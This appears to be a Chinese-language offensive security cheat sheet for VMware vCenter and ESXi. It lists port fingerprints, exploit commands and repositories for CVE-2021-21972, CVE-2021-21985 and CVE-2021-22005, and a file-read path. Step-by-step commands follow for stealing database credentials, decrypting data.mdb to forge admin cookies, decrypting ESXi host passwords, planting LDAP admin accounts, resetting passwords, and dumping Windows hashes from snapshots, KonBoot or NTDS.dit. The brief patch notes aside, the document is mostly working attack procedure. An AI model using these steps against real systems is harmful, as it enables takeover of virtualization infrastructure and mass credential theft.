特征
端口特征
主机开放端口(仅参考):
ESXI 6.7:
80,427,443,902,8000,8300,9080
ESXI 7.0:
80,427,443,902,8000,8300,9080
vCenter 6.7:
22,80,88,389,443,514,636,1514,2012,2014,2020,5480,5580,8084,9084,9087
vCenter 7.0:
80,88,135,137,139,389,443,445,514,636,1514,2012,2014,2015,2020,5443,5985,7080,7444,8109,8900,9443,12080,13080,47001,49664,49665,49666,49667,49668,49672,55156
指纹特征
ESXI 6.7:
ESXI 7.0:
vCenter 6.7:
vCenter 7.0:
综上,总体特征端口为:
- ESXI:
端口 | 端口类型 | banner | 特征 |
---|---|---|---|
80 | HTTP | http | |
443 | HTTPS | https | Cert: vmca@vmware.com,192.168.65.153,VMware Engineering,VMware,Palo Alto,California,US; |
902 | 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , VMXARGS supported, NFCSSL supported/t | ||
8000 | Ajenti | ||
9080 | WebSphere |
- vCenter:
端口 | 端口类型 | banner | 特征 | 标题 |
---|---|---|---|---|
80 | HTTP | http | " + ID_VC_Welcome + " | |
88 | default WEB | |||
443 | HTTPS | https | Cert: US,192.168.65.160; | " + ID_VC_Welcome + " |
514 | Linux rexec | |||
5443 | https | Cert: US,192.168.65.160; Server: Anonymous; | HTTP Status 404 – Not Found | |
8084 | default WEB | https | Cert: US,192.168.65.157; Server: envoy; | |
9443 | https | Cert: US,192.168.65.160; | vSphere Web Client |
其他特征
查看vCenter版本:
/sdk/vimServiceVersions.xml
常见漏洞
CVE-2021-21972
漏洞类型:任意文件上传 - 部分版本可致RCE
影响版本:
- VMware vCenter Server 7.0系列 < 7.0.U1c
- VMware vCenter Server 6.7系列 < 6.7.U3l
- VMware vCenter Server 6.5系列 < 6.5 U3n
- VMware ESXi 7.0系列 < ESXi70U1c-17325551
- VMware ESXi 6.7系列 < ESXi670-202102401-SG
- VMware ESXi 6.5系列 < ESXi650-202102101-SG
EXP:
https://github.com/NS-Sp4ce/CVE-2021-21972
https://github.com/horizon3ai/CVE-2021-21972
python3 CVE-2021-21972.py -url https://192.168.65.154
漏洞利用:
vCenter的/ui/vropspluginui/rest/services/uploadova接口在未进行权限限制的情况下可以实现任意文件上传。
对于6.7U2以前的版本可以利用该接口上传tar包来获得目标机器权限。
对于6.7U2及其以后的版本VCenter服务运行在内存中,即使上传了webshell,也无法立即访问,除非目标服务重启。
对于>=6.7U2版本的Linux系统来说,可以通过写入SSH公钥文件来获得权限。
对于>=6.7U2版本的Windows系统来说并没有能够获取权限的方法。
漏洞修复:
https://kb.vmware.com/s/article/82374
CVE-2021-21985
漏洞类型:远程代码执行
影响版本:
- VMware vCenter Server 7.0系列 非7.0 U2b
- VMware vCenter Server 6.7系列 非6.7 U3n
- VMware vCenter Server 6.5系列 非6.5 U3p
- VMware Cloud Foundation < 4.2.1
- VMware Cloud Foundation < 3.10.2.1
POC:
https://github.com/xnianq/cve-2021-21985_exp
https://github.com/Schira4396/VcenterKiller
Railgun工具
漏洞利用:
该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。
具体利用可参考https://iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
漏洞修复:
VMware:vCenter Server
7.0版本升级到7.0 U2b
6.7版本升级到6.7 U3n
6.5版本升级到6.5 U3p
VMware:Cloud Foundation
4.x版本升级到4.2.1
3.x版本升级到3.10.2.1
CVE-2021-22005
漏洞类型:任意文件读取 - 可致RCE
影响版本:
- vCenter Server 7.0 < 7.0 U2c build-18356314
- vCenter Server 6.7 < 6.7 U3o build-18485166
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 vCenter Windows版本不受影响
POC:
https://github.com/shmilylty/cve-2021-22005-exp
https://github.com/Jun-5heng/CVE-2021-22005
exp.exe -t https://192.168.65.154 -s cmd.jsp
漏洞利用:
上传并连接webshell
漏洞修复:
官方已修复该漏洞,请受影响的用户及时安装安全补丁或升级至最新安全版本,也可按照 https://kb.vmware.com/s/article/85717 相关措施进行缓解。
任意文件读取
漏洞类型:任意文件读取
影响版本:
- vCenter Server 6.5.0a至f版本(之前版本也可能受影响)
POC:
/eam/vib?id=文件路径
漏洞利用:
获取vcenter默认数据库文件
# Linux默认路径
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties
# windows默认路径
C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
获取cookie存储文件
# Linux默认路径
/storage/db/vmware-vmdir/data.mdb
# windows默认路径
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
漏洞修复:
Vmware 确认该漏洞已在 6.5u1 版本中修复,请尽快升级至安全版本或更高版本。
其他攻击手法
解密data.mdb获取cookie
前提:获取vCenter主机权限
获取cookie存储文件:
#Linux
/storage/db/vmware-vmdir/data.mdb
#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
- 利用方式1:
将文件下载到本地破解:
(1)破解脚本:https://github.com/horizon3ai/vcenter_saml_login
(2)windows运行脚本时需要手动安装python-ldap:
- 下载链接:https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
- 找到本地python对应版本的ldap包并下载
- 运行pip安装命令:
pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl
pip install -r requirements.txt
(3)运行脚本进行破解:
python vcenter_saml_login.py -p data.mdb -t vCenter_ip
(4)使用cookie进行登录
- 利用方式2:
上传脚本到目标服务器破解
(1)破解脚本:https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
(2)上传脚本到vCenter主机,运行脚本
python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb
(3)执行后得到以下四个重要的参数:
domain,在命令行显示
idp_cert,保存为idp_cert.txt
trusted_cert_1,保存为trusted_cert_1.txt
trusted_cert_2,保存为trusted_cert_2.txt
(4)在本地主机上为管理员用户创建SAML请求,使用vCenter server进行身份验证并获得有效的管理员cookie
脚本地址:https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py
(5)运行脚本获取Cookie:
python vCenter_GenerateLoginCookie.py 192.168.65.157 192.168.65.157 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
数据库查询ESXI的密码
前提:获取数据库账号密码,能够连接数据库
(1)查看域
Windows:
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli.exe get-domain-name --server-name localhost
Linux:
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
(2)获取解密key,后面用来破解密码
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
将文件内容保存到本地文件中:symkey.dat
(3)获取数据库账号密码
通过查看数据库配置文件vcdb.properties获取数据库明文密码
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties
#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
(4)连接数据库,获取密码的密文
psql客户端连接工具默认位置:
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql
执行sql语句查询密码
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
注:MSSQL数据库密码保存在 VPX_HOST 表中
将password字段内容保存到本地文件中:password.enc
(5)通过脚本解密获取明文密码
脚本地址:https://github.com/shmilylty/vhost_password_decrypt
python decrypt.py symkey.dat password.enc password.txt
破解出来的密码保存在password.txt文件中,使用账号vpxuser登录ESXI即可
通过LDAP来添加管理员账号
(1)通过以下命令可以查询LDAP配置信息:
/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'
(2)通过脚本添加用户并设为管理员
脚本地址:https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
adduser.ldif示例(我这里将默认的vsphere.local改为了spherer.local,按目标填写):
dn: CN=aaa,CN=Users,DC=spherer,DC=local
userPrincipalName: aaa@spherer.local
sAMAccountName: aaa
cn: aaa
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: P@ssWord123@@
(3)运行脚本添加用户(根据提示输入内容)
python vCenterLDAP_Manage.py adduser
输入用户名:aaa
输入dn:cn=aaa,ou=Domain Controllers,dc=spherer,dc=local
输入userPrincipalName:aaa@spherer.local
(4)运行脚本将用户添加为管理员
输入dn:cn=Administrators,cn=Builtin,dc=spherer,dc=local
(5)使用添加的管理员用户进行登录
输入账号密码aaa/P@ssWord123@@成功登录
注:通过提取、修改、应用、修复主机配置可以强制修改ESXI主机密码,详见https://blog.csdn.net/xiao_xx/article/details/120267846
其他技巧
1.修改密码策略
2.手动添加用户和组
3.通过修改配置文件强制修改ESXI密码
4.通过vdcadmintool内置工具修改密码
# Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool
# Windows
C:\Program Files\VMware\vCenter Server\vmdird\vdcadmintool.exe
查询域名:
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
在shell
中运行vdcadmintool工具重置密码:
/usr/lib/vmware-vmdir/bin/vdcadmintool
输入选项:3
输入UPN:Administrator@vsphere.local
回车即可重置为随机密码
有时报错 VmDirForceResetPassword failed (9106) 需要先使用su命令以高权限运行再进行vCenter管理员密码重置
5.通过vcenter账号获得vcenter机器权限
- 进入5480管理端口。
- 开启ssh和Bash Shell
- 通过vCenter账号登录ssh,这个账号具有sudo权限。
当5480为开放时,通过443端口使用dcli工具(vcli安装完成后生成的工具)可以进行修改:
- 进入交互模式
dcli +server 192.168.233.135 +skip-server-verification +interactive
- 输入账号密码
- 设置ssh为ture
com vmware appliance access ssh set --enabled true
- 开启bash shell(166分钟自动退出)
com vmware appliance access shell set --enabled true --timeout 10000
6.通过备份文件获取cookie
通过vCenter的备份包lotus_backup.tar.gz可以获取.mdb文件
后利用
当我们成功获取vCenter控制台权限后,需要对其管理的主机进行下一步利用,但是目标主机为锁屏状态,我们该如何操作呢?
下载快照读取哈希
前提:拥有vCenter web权限或ESXI主机权限
工具链接:https://www.volatilityfoundation.org/releases
- 选中对应目标主机生成快照
- 下载对应快照
- 使用工具查看profile
volatility_2.6_win64_standalone.exe -f win7-Snapshot1.vmem imageinfo
- 读取注册表,读取虚拟地址
volatility_2.6_win64_standalone.exe -f win7-Snapshot1.vmem --profile=Win7SP1x64 hivelist
- 获取哈希
volatility_2.6_win64_standalone.exe -f win7-Snapshot1.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a006b90010
克隆虚拟机后使用KonBoot引导
缺点:对域控无效
工具链接:https://pan.baidu.com/s/1NfeX6F7HXBDV4yKc4fz55Q 密码:bmef
- 上传kon-boot文件
- 克隆虚拟机
- 编辑克隆机配置,取消勾选网卡,更改CS介质为刚刚上传的kon-boot文件,勾选打开电源时连接
编辑虚拟机选项,勾选强制BIOS
- 开启克隆机,将CD-ROM移到最上,F10退出,然后进入系统
连按五次shift,创建管理员用户,成功登录
- 将要使用的文件制作为iso镜像,上传并挂载
制作教程:https://blog.csdn.net/bcbobo21cn/article/details/116347346
- 登录系统,使用iso内的工具获取哈希
其他方式
- 通过PE系统进入
同理,可以通过制作PE镜像,通过镜像盘启动的方式绕过登录进入系统,方法类似KonBoot引导
- 挂载VMDK
我们也可以通过将VMDK文件挂载到已获取权限的主机上的方式获取哈希,记得挂载前先将目标主机克隆,然后在克隆主机上进行操作
挂载成功后下载以下三个文件到本地读取哈希,然后取消挂载即可
C:\Windows\NTDS\NTDS.dit
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
参考:
Comments | NOTHING